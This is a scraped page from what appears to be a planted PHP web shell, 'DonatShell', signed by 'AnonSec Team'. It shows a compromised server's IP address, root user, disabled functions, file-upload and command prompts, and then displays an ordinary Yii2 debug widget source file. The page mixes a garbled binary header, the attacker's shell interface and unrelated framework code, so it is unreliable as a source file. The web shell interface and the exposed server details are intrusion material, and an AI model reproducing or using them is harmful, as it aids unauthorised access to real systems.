%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/water/vendor/yiisoft/yii2-debug/src/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/water/vendor/yiisoft/yii2-debug/src/widgets/NavigationButton.php
<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\widgets;

use yii\base\Widget;
use yii\debug\Panel;
use yii\helpers\Html;

/**
 * Render button for navigation to previous or next request in debug panel
 * @since 2.0.11
 */
class NavigationButton extends Widget
{
    /** @var array */
    public $manifest;
    /** @var string */
    public $tag;
    /** @var string */
    public $button;
    /** @var Panel */
    public $panel;

    /** @var string */
    private $firstTag;
    /** @var string */
    private $lastTag;
    /** @var int */
    private $currentTagIndex;


    /**
     * @inheritDoc
     */
    public function beforeRun()
    {
        $manifestKeys = array_keys($this->manifest);
        $this->firstTag = reset($manifestKeys);
        $this->lastTag = end($manifestKeys);
        $this->currentTagIndex = array_search($this->tag, $manifestKeys);

        return parent::beforeRun();
    }

    /**
     * @inheritDoc
     */
    public function run()
    {
        $method = "render{$this->button}Button";

        return $this->$method();
    }

    /**
     * @return string
     */
    private function renderPrevButton()
    {
        $needLink = $this->tag !== $this->firstTag;

        return Html::a(
            'Prev',
            $needLink ? $this->getRoute(-1) : '',
            ['class' => ['btn', 'btn-light', $needLink ? '' : 'disabled']]
        );
    }

    /**
     * @return string
     */
    private function renderNextButton()
    {
        $needLink = $this->tag !== $this->lastTag;

        return Html::a(
            'Next',
            $needLink ? $this->getRoute(1) : '',
            ['class' => ['btn', 'btn-light', $needLink ? '' : 'disabled']]
        );
    }

    /**
     * @param int $inc Direction
     * @return array
     */
    private function getRoute($inc)
    {
        return [
            'view',
            'panel' => $this->panel->id,
            'tag' => array_keys($this->manifest)[$this->currentTagIndex + $inc],
        ];
    }
}

Anon7 - 2022
AnonSec Team